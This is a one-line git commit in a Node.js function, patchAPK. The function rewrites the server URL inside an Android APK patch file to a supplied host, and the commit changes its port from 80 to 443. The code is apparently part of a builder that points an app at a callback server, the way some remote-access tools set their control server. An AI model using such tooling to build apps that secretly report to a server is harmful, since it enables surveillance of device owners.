Fixed port bug

This commit is contained in:
ChrisStone07 2020-03-23 22:46:57 +05:30
parent 4068c762c4
commit ffbd519955
1 changed files with 1 additions and 1 deletions

View File

@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")),
"https://" + URI + ":" + "80");
"https://" + URI + ":" + "443");
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE')
else return cb(false)